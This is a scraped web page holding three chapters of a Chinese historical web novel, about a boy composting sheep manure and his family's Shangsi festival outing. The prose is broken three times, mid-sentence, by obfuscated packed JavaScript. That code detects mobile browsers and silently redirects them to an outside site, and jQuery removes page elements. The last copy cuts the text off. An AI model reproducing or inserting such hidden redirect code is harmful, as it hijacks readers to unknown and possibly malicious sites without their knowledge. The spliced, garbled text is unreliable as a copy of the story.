直到韦仁看到摆在自己院子里的那一筐被蝇虫包围着、散发出可疑味道的羊粪时才隐隐察觉,虽然他和戚先生聊得很顺畅,但两个人似乎说得不是一回事。 13. 肥二 这是羊粪肥吗?这只是羊粪吧! 石岩看到韦仁一脸不可置信的表情,担心石大郎是不是准备错了东西,惴惴不安地问:“五郎君,这些都是羊粪,没有混了其他畜粪……有什么不对吗?” “我说要羊粪肥,这就是吗?”韦仁特意加重了“肥”的发音。 石岩舒口气,自以为搞懂了韦仁纠结的地方,贴心问道:“是的,味道是不太好,要不要抬去牲畜棚?” 韦仁不甘心,再次确认:“农人就用的这些?” “一般人可用不到羊粪。家里的佃户最多用用鸡粪和猪粪,听说也多是种菜时会用一点,大多还是用草木灰。”石岩耐心解释,“县里只有一个畜牧场,在渐兴聚,这些就是我阿翁从那里要的。” 石岩很细心,他虽然是被调来跟着韦世然的,但被安排去帮手韦仁的事,石岩也不会马虎,有专门向石大郎打听过这些事。 韦仁这下可以确认,他们家,甚至是整个县城的农人用农家肥用得不多,哪怕用也是直接用的,腐熟之类的步骤是没有的。 韦仁按下“意料之外”带来的郁闷,又去看石岩和沈决明运回来的泥土,韦仁伸手摸了摸,又搓了搓,感觉土质还挺细腻,韦仁问石岩和沈决明:“你们把土整过了?” “一开始也没想到,是聚里的人说那些土块没办法直接用,我们就请了庄子上的人帮忙把土筛了一遍。” “有心了。”韦仁对石岩笑了笑,转头看向沈决明,“你会赶车不?” 沈决明摇头。 韦仁把头重新转回石岩的方向:“你明天教沈决明赶车,顺便再帮我运些东西回来,可以吗?” 石岩有些犹豫,不自觉看了一下韦世然屋子的方向,他和沈决明今天出城运土回来是夫人的吩咐,可他是韦世然的僮奴,总不好越过韦世然直接听韦仁的命令。 韦仁心思灵敏,理解地说:“我问问我大兄,看他明天有没有事吩咐你。”说完,韦仁就大喊了一声,“大兄——” 韦世然看到那筐羊粪后,就迅速远离韦仁回去自己的屋子了,这时听到声音,只从窗口探头出来:“什么事?” “我有事想让石岩帮我做,明天一整天,可以吗?” 韦世然闻言,双手按住窗框,上半身直接探出窗,愤怒警告:“你不会想再弄些臭烘烘的粪便回来吧?我不同意!五郎,我和你说,你再这样,我就不和你住一个院子了!” 韦仁没想到韦世然会拒绝自己的请求,也不高兴了,双手叉腰,大声反驳:“什么叫臭烘烘的粪便?那是肥!你知道它有多珍贵吗?有了它,一碗大米饭能变成两碗!” 韦世然被带歪了思路,顺着韦仁的话,也大声反驳:“我不信!你吹牛!粪便怎么可能变成大米饭!”如果是真的,韦世然觉得以后都不想吃大米饭了! 韦世然还想着韦仁会怎样辩解,结果韦仁一转身,不再看他了。 韦世然又问了两次,韦仁都不理他,只对着那些盛着土的桶不知道在干些什么。韦世然忍不住从屋子里跑出来,跑到韦仁身后,推了推他:“我问你话呢!你说真的?” “没有,我在骗你,我在吹牛。” 韦世然被噎了一下,但韦仁这种态度反而让他觉得韦仁说的可能是真的,不死心地追问:“羊粪这么厉害的?” “不是羊粪,是羊粪肥,凡师伯有讲过肥的事情,大兄,你不记得了?” 韦世然一脸茫然,他是真没什么印象了。对于肥的事,凡愿那日其实只说了一句“播种和插秧前都往地里施些肥,看会不会对水稻的亩产有帮助”,韦世然不记得简直太正常了。 韦仁撇一眼韦世然,重复自己的请求:“你同意让石岩明天帮我做事,我沤肥时就让你来观看。” 韦世然嫌弃地瞥一眼远处的羊粪筐,又有些不想答应了。 见韦世然的好奇心竟要被臭味压制,韦仁拽住韦世然的袖子摇晃,软着声音撒娇:“明天不拉羊粪,我只要些树枝和秸秆之类的东西,大兄,你就答应我呗。” 韦世然勉强同意了:“那好吧。” 韦仁瞬间恢复平常的音调,撇下韦世然对石岩说:“明天就辛苦你了。” 石岩愣愣地点了下头。 沤肥不难,问题在于时间,那些羊粪用作基肥肯定是来不及的,至于追肥时能不能完全腐熟,过了最初因为实际与预期不符的懊恼劲儿,韦仁倒也不强求了。 戚先生说得对,他是要好好做这次的水稻生长观察日志,以后他自己有地种水稻了,肯定能少走许多弯路。 韦仁想象着一片片金黄灿烂的稻谷,不禁“嘿嘿嘿”地笑起来,笑得跟着他进屋的沈决明莫名其妙。 韦仁抬头看向沈决明时,正对上沈决明探究的目光:“怎么了?” 沈决明与韦仁对坐在书案两侧后,在桌子上划字:明天要运什么? “这个不急,先记今天的笔记。对了,你要再帮我记一册水稻生长观察日志,就把今早晒种防鸟的事记下来。”韦仁大概描述了一下植物生长观察日志的要素。 沈决明有点儿疑惑记这个日志有什么用,但他没问,只仔细听着,之后便和韦仁一讲一记地共同完成了今天的课堂笔记。 因为多记了日志,今天用时格外长些,韦仁将练字任务也完成时,已近戌时,韦仁瞄一眼不知何时被点起来的油灯,唏嘘道:“不行,我明天要在学馆把课业和练字都做完,不然眼睛都毁了。” 真正写了不少字的沈决明一时间竟有些想翻白眼的冲动。 韦仁似是看出沈决明的腹诽,笑眯眯地探身向前,一手撑住书案,一手食指戳向沈决明的眼眶。 沈决明骤然向后仰头,腰腹用力站起身,直向后退了数步才站定。沈决明惊疑不定地看着韦仁,眼睛里的光晦暗不明。 韦仁也被沈决明的反应吓了一跳,反应过来后甚是无语:“你那是什么眼神?以为我要□□眼睛吗?”韦仁索性也站起来,走到沈决明跟前,“你蹲下,放心,我是想教你放松眼睛的法子。” 沈决明有一瞬犹豫,最终还是半蹲了下来。 韦仁再次伸出手,指尖轻轻触到沈决明眉毛内侧的凹陷处,感觉到沈决明似是要蹙眉,不过指下那股紧绷的感觉很快消散,韦仁这才加重了力道:“有酸胀感吗?有就眨一下眼睛,没有就眨两下。” 得到回应后,韦仁加上另外一只手,按住另一侧的攒竹穴,韦仁一边计数一边点按,直按了百次又改点按为揉按。 待放下手,韦仁退后一步,问沈决明:“如何?是不是舒服多了?” 沈决明下意识眨了一下眼睛,眨完之后,想起自己刚刚的反应,不禁又有些羞愧,便又点了下头,这才重新站起身。 沈决明觉得该向韦仁道歉的,可又不知道该怎么说,想去书案那里划字,可总不好把韦仁拽过去就为了让他看自己写“抱歉”,想来想去,沈决明对韦仁躬身揖礼,以示歉意。 “没关系。”韦仁刚刚也是一时兴起,说来他的举动亦有不当之处,便也对沈决明道歉,“我也有不对的地方,以后没有你的同意,我不会再随便碰你了。” 沈决明曾低在尘埃,见过太多高高在上的人,面对韦仁的道歉有些不知所措,神色间糅杂了恍惚与木然,最终没有做出任何回应。 好在韦仁也没纠结这事,已经说起明天需要沈决明和石岩运回来的东西,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108059|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将一个装着五铢钱的荷囊递给沈决明:“除了我要的那些东西,你再帮我买些生石灰回来。医馆或者窑厂大概有卖,你问问石岩,就算他不知道,石大叔肯定也知道。” 韦仁要买生石灰,一方面是想在浸种时,拿出一半稻种做实验,看看用石灰水浸过的稻种是不是真的可以减少虫害的发生,一方面是准备沤肥时用。 韦仁自觉把一切都考虑到了,结果在沤肥时,韦仁发现了一件显而易见却被他忽略的事——理论和实践终是有区别的。 因为韦世然不同意,当然,韦仁自己也有些受不了沤肥时的那个味道,便把那两个原来用作架鸡毛,如今用来沤肥的木桶运到了牲畜棚。 韦仁上辈子听村里的老人说过各种各样的制肥方法,方法类似,但又有些微区别,唯一一致的是,大家都觉得自己的肥是最好的。 韦仁一边回忆着那些方法,一边综合现有的资源确定了自己沤肥的方法:在桶中立五根树枝做通气用,再依次往里面铺混合着草叶的泥土、切碎的秸秆以及晒了一整日后又被捣碎并洒了水的羊粪,一直堆到桶顶,用一层湿泥封住,过两天把树枝抽走,然后等着就行了。 除了需要花些力气外,每个步骤都很简单,但问题仍然出现了——羊粪要保持50%的水分。 要求虽精确,但其实不用求助于器械,分享经验的人说只要用手抓一下,手指间会残留水迹的程度就可以了。韦仁梳理流程时也没察觉出这里面有任何问题,但如今轮到他切身去感受那水迹的程度,韦仁怎么也下不去手! 鼻子上围着帕子,韦仁两只黑璨璨的眼睛便格外显眼,那双写满诉求的眼睛从众人脸上一一划过,过来帮忙兼看热闹的阿桂等人都觉得背后一凉。 韦仁等了一会儿,见无人说话,只得率先开口,语气里充满诱惑:“洒多少水是有讲究的,要抓起来不往下滴水又能感受到湿润才行,你们有谁想试一试?” 阿桂和石岩都做出了学渣听到先生提问时的反应——迅速避开韦仁的视线。 韦世然倒是没避开视线,只是不可思议地看向自家弟弟:“傻子才会去抓粪便吧?” 韦仁嘴硬:“说了不是粪便了,是肥。” “那你怎么不抓?” 韦仁还没回答,沈决明迈步向前的同时毋忧也一边捋袖子一边开口说道:“我来吧,五郎君,只需要抓一下就可以吗?” 韦仁的眼珠子在沈决明和毋忧身上来回扫了一遍,笑眯眯地说:“那你俩都来,正好一人一批。” 事后,韦仁给毋忧和沈决明一人八铜钱,吩咐道:“你们每隔五天就去看看那两桶粪肥,哪天觉得味道淡了,记得告诉我一声。” 尽管毋忧和沈决明都觉得那两桶羊粪只会越放越臭,还是答应了。他们每月的固定收入也就350铜钱,八铜钱看起来不算太多,但韦仁一个月也只有一百铜钱的零花钱,对他们已经足够大方。 赵氏对韦仁的这通操作知道得一清二楚,虽然不解二儿子为何要那么折腾那堆羊粪,但也没多问,只私下与韦元茹说:“五郎看人的眼光不错。” 韦元茹也同意赵氏的看法,忍不住笑道:“五郎惯会这样做事,若是四郎,肯定会先说出谁帮他办事他就赏谁。” 赵氏也笑:“若换做是你,就会直接吩咐,不愿意做事的换走就是。” “这是自然。”韦元茹一向认为她与家僮的关系就是“我吩咐,你做事,我给予金钱和庇护,你给予劳动和忠诚”,而当忠诚不在时,这种关系自然也会随之破裂。 想至此,韦元茹幽幽一叹:“阿母,册子我看过了,周大亮的心大了,手也伸过界了,我知道这样的人是不能留在韦家的。” 14. 上巳节一 石伯针对周大亮的调查已经完成,除却粮仓和零星钱财方面的问题,周大亮做了两件出格的事。 一是在曹九的牵线下,周大亮买了一个赌鬼家的女儿,那女娘今年不过13岁,原是不乐意的,但许是周大亮对她不错,又或者是为了家里人,那女娘最终认了命,安心做起外室。二是周大亮以曹九的名义在临县开了一家木炭铺子,韦家在新聚的佃户在种田之余还要义务砍柴。 韦元茹沉默半晌,显然是下了决心,方才开口,“阿母,你把周大亮一家交给我吧。” “你想如何做?” “让他们离开鲁国,以后不许再回来这里。” 韦元茹知道这样的处罚不足以抵消周大亮犯的错,解释道:“阿母,你教我养我,我是你的女儿,四郎五郎是我弟弟,咱们才是一家人,我不会偏袒外人,也不会为了外人让你伤心。只是……我听说,去了盐场的人,有许多都熬不住,黄奶娘到底照顾过我,我不忍心。” 静静听完韦元茹的话,赵氏对韦元茹招招手:“过来。” 韦元茹走到赵氏身边坐下,赵氏牵着韦元茹的手,手中的手比她略小一些,皮肤滑腻柔软,但手掌和指尖却有几处或是做手工或是写字留下的薄茧。赵氏摸索着那些薄茧,笑容比水还温柔:“我很高兴你能与我说这些,我家茹娘真的长大了。” 韦元茹被说得有些羞涩,赵氏在这时却抬起手,轻轻点了韦元茹脑门一下:“我同意了,不过这事不必过你的手。”见韦元茹要开口,赵氏打断她,“你也说了,黄奶娘到底照顾过你,你到时候替他们求一下情,其他的就别管了。” 韦元茹顿了顿,还是说道:“阿母,你还怀着弟弟妹妹,我不想你多劳累,你都说我长大了,我能分担的。而且……我也不想这事影响到你。” “你不用担心我处置周家会被人说闲话,我是主,他是奴,如何处置他们都是我的事,谁也做不了我的主。这事也劳累不到我,更用不到你。”赵氏十分窝心,心情好起来,调侃道,“等你嫁人了,有的是事让你劳累,你也就再松快这几个月,可要好好珍惜。” 韦元茹羞窘,强撑着脸皮,小声说:“他说会好好照顾我的,我在家里怎样,到了他家还是怎样。” 赵氏大笑:“好他个李四郎,别人家的子婿惯先讨好外姑,他在我面前讷言,原来好听话都说给你了。”赵氏的眼神中难得露出促狭,调侃已经满面绯红的韦元茹,“等到上巳节那日,我定要与他论一论这事。” 在韦仁心里,节日有传统,而没有规矩,人们想怎么过,就可以怎么过。韦仁对上巳节没什么概念,除了放假一天,上巳节没有引起他一丝一毫的关注。 实际上,上巳节是非常重要的节日,不止百姓,皇帝都会依照规矩进行沐浴和祭祀。所以,这一日,韦仁起得也比以往要早得多,当然,他不是自己醒的,而是被阿桂给摇醒的。 韦仁虽然是个起床困难户,但睡没睡足时辰,他还是能感觉出来的。韦仁被摇醒后除了困乏,最大的感受是困惑:“什么时辰?” 阿桂磕巴都没打地回答:“快寅时了!” 韦仁一瞬间还以为自己听错了,“快寅时了”,这是人能说出的话? 对上韦仁黑黢黢的目光,阿桂露出快哭的表情:“五郎君,必须得起来了,四郎君已经开始沐浴,你再不起来,该赶不及出门的时辰了。” 韦仁不说话,整个人困得胸口发燥,他不是不想开口骂人,是困得根本张不开第二次嘴。 眼见韦仁翻了个身,往被子里一缩,一副当作什么都没听到的样子,阿桂心中暗骂宁愿一人包揽打水烧水倒水的活儿也不愿意来叫醒韦仁的毋忧,一边在脑子里搜寻可以叫醒韦仁又不惹他生气的办法。 今天正院很忙,阿桂搞不定韦仁也不敢去正院请韦玄成和赵氏来劝,余光扫到站在角落里的沈决明,阿桂病急乱投医地呼唤沈决明:“你也别干站着,过来劝劝五郎君啊。”那声音轻轻的,仿佛是怕扰了韦仁清梦一般。 沈决明已经开始学着打理韦仁的日常穿用,韦仁今日出门要带的东西都是他准备的,没想到,他只是把衣服拿来,就多了叫起的工作。 沈决明一声不吭地走出屋子,不一会儿就带着一条浸了井水的帕子回来了。 阿桂看沈决明一手拨拉过韦仁的肩膀,一手扬起就要把那条透着丝丝凉气的帕子往韦仁脸上呼,阿桂连忙伸手阻止,轻呼:“哎呦,你这是做什么?!五郎君身子弱,可不能用凉水,激着了怎么办?” 沈决明:…… 阿桂只觉得沈决明不愧是从铁官厂那种地方出来的,真是不懂规矩,活得太糙了。 沈决明比阿桂还无语,但又不能无视阿桂的要求,沈决明想了想,拉住阿桂,示意可不可以用被子卷住韦仁,直接把他抱去湢室。 两个人比划了一会儿,阿桂才明白沈决明的意思,深觉他这主意不错:“就这样做!你迟一步,我先去把热水倒好,到时候直接把五郎君抱进桶。” 韦仁是被浴桶里的热水给熏醒的,发现自己从温暖的被窝转移到了温暖的热水中,韦仁还有些恍惚。 好在,韦仁的脑袋里的浆糊被热气一熏,总算稀了一点儿。虽然仍然困倦,韦仁还是在阿桂和沈决明的帮助下顺利完成沐浴和穿衣,并和韦世然同时到达了饭厅。 全家人简单用了早食后,就或骑马或坐车地开始往城门行进,途中与韦家二房和三房的人汇合成一个车队,一起出城前往南郊高禖祠进行祭拜。 按理说,第一次出城,韦仁应该很兴奋才是,可是因为睡眠时长严重不足,韦仁坐着的牛车还未行出巷口时,他就已经撑不住眼皮,靠在韦世然身上睡起了回笼觉。 周围嘈杂的人声完全没影响到韦仁的睡眠,就连到达高禖祠时,韦仁都没能醒过来。 韦玄成和赵氏知道韦仁不睡足四个半时辰会难受,索性以韦仁年幼为借口没带他去祭拜高禖,而是让石大郎和沈决明陪着韦仁留在了停车的地方。 韦仁的睡眠质量相当不错,直到太阳高悬,他才在沈决明的背上醒来。捕捉到嘻嘻闹闹的人声,韦仁缓缓睁开眼睛,入眼却是一片暗色,韦仁又迷瞪了一会儿,才抬手将帽檐掀开,眼前总算亮堂了。 难得的“高海拔”让韦仁的视野宽阔许多,最先入眼的是一条一丈宽的清浅溪流,溪水自东向西卷过一块块覆着苔藓的褐色石头。溪流两岸绿毡铺地,人群散在岸边,有蹲在溪边玩水的,有坐在稍远的地方饮宴聊天的,还有穿梭在其中送小吃和饮品的。韦仁顺着这些人来往的方向看过去,更远的一处空阔地方还有不少商家搭建了临时的摊位做买卖。 这副春游图般的热闹场景将韦仁最后一丝睡意扫荡干净,韦仁的视线最终定在最引人瞩目的一处景色——溪流南岸的一大片桃花林。 看着对岸那片浅粉色的花海,韦仁不禁赞叹出声:“真好看。”想了想,觉得这赞美干巴巴的,对不起自己读了许久的古文,韦仁转而用平时唱诗的音调咏道,“桃之夭夭,灼灼其华。” 韦仁才感叹完,耳边传来“噗嗤”一声笑,一道熟悉的声音响起:“五郎果然是进学了,学问长进不少!” 韦仁转过头去,看到一个麦色皮肤,浓眉大眼的青年,韦仁也笑起来:“谢姊夫夸奖,姊夫也越发英武俊俏!” 李四郎被韦仁说得心花怒放,伸手将韦仁从沈决明的背上抱过来:“五郎的嘴巴也越发甜了。” 韦仁正想继续恭维回去,眼睛瞄到站在李四郎身边的韦元茹鬓边别着的一朵芍药花,那花品相极好,最重要的是,家里的芍药都是红色和紫色的,眼前这朵却是粉白色的。 韦仁的眼珠子转了转,问道:“姊夫,你奔波千里,就是为了给我大姊送花的?” 韦仁一句话让李四郎和韦元茹同时羞红了脸。 韦元茹警告地瞪了韦仁一眼,李四郎为人大方,很快就恢复了神色,抬手揉了揉韦仁的脑袋:“小没良心的,竟然调侃姊夫,亏我给你准备了好东西。” “什么东西?” 李四郎笑:“你说的那个二十四锁,我做出来了,你和四郎一人一个。” 韦仁略有惊讶,这还是新年时他随口与李四郎说的,没想到他还记得,而且竟然真的做出来了。韦仁有点儿感动,伸出小手:“谢谢姊夫!” 李四郎哭笑不得,轻轻拍掉韦仁的手:“我给四郎了,你回去管他要,我还带了些樱桃过来,也是给你们的。” 韦仁有些疑惑,李四郎对他和韦世然一视同仁,但送礼这种事,向来都是分开来的,不会让一个转交另一个。 韦仁还没问出口,李四郎已经继续说:“最近不太平,我今天必须赶回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108060|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。幸好你醒了,不然今天可就见不到了。” 听到“不太平”,韦仁这才注意到远处带刀的衙役,想来今天这种大型春游活动,县衙还是安排了安保措施。这个念头也只在韦仁的脑中一闪而过,他想的更多的是:怪不得李四郎和韦元茹没有单独行动,原来不是他们这群电灯泡不够亮,而是人家俩人本来就是来告别的。 韦仁坐在李四郎的手臂上也没有李四郎高,略抬起头才发现李四郎的头发上蒙着一层浅浅的沙尘,也不知道他到底有多赶才没提前找地方拾掇一番就来见韦元茹。韦仁拍拍李四郎的肩膀,说道:“姊夫,你对我大姊真好,继续保持呀。” 李四郎先是满眼含笑地睨韦元茹一眼,随后曲起手指揪了韦仁的鼻尖一下,半玩笑半认真地说道:“妻弟有命,岂敢不从?” “姊夫”之类的称呼韦元茹听多了,也算是习惯了,如今听到“妻弟”,韦元茹的心跳陡然加快,又羞又窘,忍不住推李四郎,低嗔:“五郎小,乱说也就算了,你也跟着他闹。” 见韦元茹的脸颊绯红若朝霞,大大的杏眼里嗔怒交杂,李四郎笑得比韦元茹鬓边那朵芍药还美,不过,李四郎也知道再说下去,韦元茹准得翻脸,遂不敢再放肆,弯腰将韦仁放回地上,李四郎直起身后,看向韦元茹,说道:“我走了。” 韦元茹有些失落,按捺住心中的不舍,说道:“路上小心些。”犹豫了一下,又说,“要不我送你去车马棚?” 李四郎笑意加深:“那里气味不好,也太远了。你若愿意,再多行几步,送我到有柳树的地方,为我折条柳枝,可好?” 韦元茹轻轻“嗯”了一声。 韦仁被大姊和大姊夫酸得牙疼,默默目送二人并肩离开后,一边抻着懒腰一边问沈决明:“沈决明,你一直在背着我?” 幸好沈决明不会说话,就算会说,他也是无言以对——韦家众人祭祀完高禖后,沈决明就开始背着韦仁,本以为韦仁很快会醒,结果韦仁不仅没有醒,还睡得分外香甜。后来,家僮选好了休憩的位置,铺好了毡毯,立好了华盖,韦玄成想把韦仁抱下来放在毯子上,韦仁还皱着眉头哼哼,不肯撒开抓着沈决明衣服的手,赵氏也担心韦仁躺在毯子上睡会着凉,在确定沈决明背得动后,就让沈决明继续背着他溜达。 韦仁一看沈决明这表情就懂了,有些无辜:“累着你了?你们该叫醒我的。” 沈决明想到韦仁被放进浴桶时还在睡觉的模样,只觉得“叫醒”什么的全是韦仁在胡说八道,好在韦仁确实不重,他只是胳膊保持一个姿势久了有些泛酸,累是真没觉得累。 韦仁权当没看到沈决明那快溢出“无语”两个字的表情,径自夸赞:“你力气可真大。”夸完又说,“不过还是得多吃,平日里若不够吃,你就与我说,你可太瘦了,我要再睡久一点儿,保准被硌得浑身疼。” 沈决明不知该作何回应,只平着嘴角摇了摇头。 韦仁仰着头,问到底:“摇头的意思是不够吃?” 沈决明:…… 韦仁伸出一只手:“写这里。” 沈决明略带犹疑地伸出食指在韦仁手心里划字:“吃得饱。” “那就好。”韦仁翻过手掌,比出个“二”,笑眯眯地给出标准,“加油吃,你至少还得再胖个二十斤。” 今天过后,每日傍晚的笔记时间,沈决明都会得到一份加餐,或是抹着豆酱的杂粮饼或是添了各种菜叶的杂粮粥,没有超过家僮的标准,却又绝对是一份优待。 对于韦仁的这份心意,沈决明是感激中带着十足的困惑,还对韦仁生出一丝警惕,俗话说“无事献殷勤非奸即盗”,沈决明不知道这句话,但却早早明白,这世上没有无缘无故的好。 韦仁不清楚沈决明平静外表下的百转千回,他的想法很简单——韦仁今天摸到沈决明的肩臂才知道他到底有多瘦,使唤童工也就算了,使唤个严重营养不良的童工,韦仁再黑的心也有些吃不住。 不过这些是后话,此时的韦仁正寻思着先去桃花林看花,还是去附近的山上逛逛。韦仁正想着,就听到赵氏在不远处唤他,韦仁转过头去,看到赵氏周围正在说笑的几个人,这才想起来自己还没给长辈们问安。 韦仁扬起笑脸忙往赵氏那边走,心里却在嘀咕:今天谁再捏我的脸,我就说“男女授受不亲”,看谁还好意思摸! 15. 上巳节二 韦仁胸有成竹,然而,当他说出“男女授受不亲”后,只引起一片矜持中带着欢腾、欢乐中带着调侃的笑声,这其中,要数韦楚怜笑得最为夸张。 韦楚怜一边扯着韦仁的腮帮子,一边逗他:“这才上了几日学,你就知道男女了?” 韦家一共四房人,长房夫妻早逝,独子韦安世正在外游学,唯一的嫡支二房有两儿一女,嫡长孙韦赏与妻子田氏在长安侍奉韦贤,三房一儿一女,韦玄成这一家属于四房。韦楚怜就是三房的嫡出女娘,明明已经12岁,猫嫌狗厌的程度与七八岁的男孩子相比也不差多少。 韦仁试着往回扯脸,奈何韦楚怜抓得瓷实,韦仁的嘴角都被扯歪了,实在没辙,只得求助地看向赵氏。 赵氏半笑半嗔地对张氏说:“三嫂,快管管你家这个女大王。” 张氏正在和卢氏说话,闻言转过头,看到自家闺女的作为,头疼似地按着额角,先与赵氏解释:“楚怜就是喜欢逗弄五郎。”说完,才与韦楚怜说,“快放开五郎,弄疼了他,我可不饶你。” 这话听得韦仁只想翻白眼,好在,在张氏作势要拧韦楚怜的手时,韦楚怜总算放开了韦仁的脸。 韦楚怜却没忘自己的问题,见韦仁一边揉腮帮子,一边往后挪动身子,再次问他:“说话呀,从姊有问,你怎么不答?” “我自然是知道的。” “你知道什么?” “知道你生错了性别,怪不得其他女娘不愿意和你玩儿!”说完,韦仁迅速起身,趿上鞋子,转头就跑。 韦仁的话实在又扎心,连不待见他的韦君和在旁听了都弯起了唇角,韦楚怜可不是忍气吞声的性子,穿上木屐,踢踢踏踏地就去追韦仁。 张氏抬手想拉住自家闺女,结果没拉住,只得扬声嘱咐:“你慢点儿跑,小心摔着!” 赵氏则对已经迈开步子去追二人的沈决明和僮使说:“看着他们,别去偏的地方。” 看着女儿兔子似的迅速消失在视野中,张氏对卢氏和赵氏抱怨:“楚怜真是被我惯坏了,她要是能有君和一半的稳重,我都得谢天谢地。” “多动动也不是坏事,楚怜的身子是她们姊妹里最好的。”说完,卢氏又满眼慈爱地看着端坐在一旁的韦君和,“再说,君和是长姊,自然要给妹妹们做表率。” “君和是很有长姊的模样,也就她能耐下性子听咱们唠叨。”张氏瞅赵氏一眼,“元茹送人是把自己送丢了?” 赵氏放下手中的茶碗:“丢是不会丢的,小儿女嘛,可不就有说不完的话。” “这倒是,元茹是个有福气的,李四郎对元茹是真上心,再有几个月就要成亲了,这时候还能巴巴儿地赶了远路过来,还带了那许多东西。” 赵氏轻笑:“李四郎是个有心的孩子。” 卢氏喝一口茶,用帕子擦了擦嘴角,说:“虽有‘高门嫁女’的说法,要我说,还是与李家这样知根知底的人家才更让人放心。” 听这话中有话,张氏接话问道:“君和许了那样好的人家,二嫂还有什么不放心的?” 韦君和再过几个月也要出嫁了,嫁娶之事卢氏不再避着她,直接与张氏说:“就是好人家才更让人愁。咱们家里都是读书人,也不看重那些身外之物,我自认已经把最好的给她了,可这世上多是势利之人,我只是担心君和嫁过去会被小瞧。” “与霍家结亲后,我才明白那些官宦之家的显赫富贵。”卢氏伸出保养得极好的手指点点韦君和的耳垂,那里有一枚琥珀色的琉璃耳珰,“霍家三郎还只是一个小辈,就送了这样一整套的琉璃首饰,我自是高兴霍家看重大娘,只是做母亲的,难免替她想得远些。” 韦君和轻挑柳叶一般的眉毛,眼波流转间尽显从容自信:“阿母不必担心,这样的东西我戴得,自然是我配得。”琉璃剔透晶莹,在阳光的映照下仿佛发着胧胧的光,更衬得韦君和的耳垂圆润柔白。 看着韦君和明媚的容颜,张氏心下有些泛酸,霍三郎不过弱冠之年就已经是三百石的县长,前程不可限量。不过,张氏想得明白,她就一个亲生女儿,韦君和嫁得好,以后韦楚怜还能借助这个从姊的关系选个好婆家,所以酸归酸,张氏还是顺着卢氏的话安慰了一下卢氏,又将韦君和和霍三郎夸了一遍。 赵氏静静听着,默默腹诽,李家的家世自然不如霍家,李四郎的仕途目前看起来也和霍三郎比不了,但那又怎样?她的家世也比不上卢氏和张氏,一样过得不差。 不过听到卢氏的话,赵氏也开始思考韦元茹的嫁妆是不是还有不足的地方,忽然就记起自己也有两条琉璃珠的手链。赵氏打定主意,等韦元茹出嫁时,她就拿出一条给她压箱底,肚子里这个若是个女孩儿,正好姊妹二人一人一条。 三个女人或直白或含蓄地炫耀自己孩子时,韦仁正撩起袍子准备趟水过去对岸,结果脚才伸出去,鞋底还没沾到水,他就被人从后面掐着咯吱窝给拎了起来。 韦仁向后仰头,正对上沈决明的眼睛,韦仁愣了愣,脱口道:“沈决明,你眼睛好黑啊。”大多数人的虹膜都是棕褐色的,像沈决明这种乌漆嘛黑的,韦仁还是第一次见。 透过眼前溪水,可以看清溪底的石头,但溪面宽阔,沈决明真不明白就韦仁这样的小矮子怎么敢想也不想地就踏进去。沈决明原本被韦仁的冒失激得心底火起,不想韦仁突然冒出这样一句话,沈决明愣了一下,心下嘀咕,谁的眼珠子还不是黑色的。 火气莫名其妙地熄灭了,沈决明本想将韦仁放回地上,看他似乎也不介意被拎着,又担心韦仁还要下水,就放弃了原本的打算,索性半抱半拎地把韦仁带到了数十丈外的一座木板桥边。 沈决明也知道韦仁是在“逃跑”,故而也是用跑的,但横移这么远的路,还是耽误了不少功夫,韦楚怜终是把韦沈二人堵在了木板桥前。 韦楚怜伸手要去抓韦仁的耳朵,沈决明不敢碰韦楚怜,也不好让韦仁在自己的眼皮子底下被打,只好把韦仁向上送,让他坐在自己的肩膀上。 韦楚怜够不着韦仁的耳朵,气得踢了沈决明的小腿两脚:“你把他给我放下来!” 韦仁居高临下地看向韦楚怜:“你欺负沈决明算什么本事,你也有僮使,有本事让她把你托起来。” 韦楚怜眼珠挪向跟在她身边的僮使,那僮使比韦楚怜还娇小,被自家女公子一看,眼泪差点儿飙出来。 韦楚怜正在跃跃欲试地想爬僮使的肩膀,韦仁已经抱住沈决明的头,大声说:“发什么愣,快跑呀!” 沈决明绕过韦楚怜,跳上木板桥,连跑带跳地就跃到了对岸。沈决明还没停步,韦仁已经扒着他的手臂滑下地,双脚才一着地,韦仁就开始往桃花林的方向跑。 韦楚怜反应过来自己被韦仁骗了,一边喊着“韦五你给我站住!”,一边提步继续追。 韦仁和韦楚怜一个跑一个追,一个个儿矮腿短,一个穿着华丽无法全力奔跑,倒是势均力敌。二人足足在桃花林里窜了一刻钟,惊到数对观花的男男女女,引起数声惊叫怒斥,二人也都累得不轻。 韦仁对自己这个从姊锲而不舍的精神也是服气,回头喊:“你有完没完?!” 韦楚怜一手提着裙摆,一手叉着腰,也是呼哧带喘:“我不管,我今天必须揪到你的耳朵!” 韦仁在桃花林里转了半天也没找到能降伏住韦楚怜的三伯父,被韦楚怜追得无法,只得和她商量:“我让你揪,但你不许用劲儿!” “那你停下!” “你保证!” “啰嗦!” 韦仁就当韦楚怜是答应了,主要是他也跑不动了,又跑了两步,韦仁就停下了。 韦楚怜看韦仁总算停下了,倒也没第一时间冲上来,而是站在原地喘了好几口气,稳定了心跳,才一步一步走向韦仁。 韦仁紧紧盯着韦楚怜,看她那气势汹汹的模样,不放心地又重复了一次:“不许用劲儿,说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 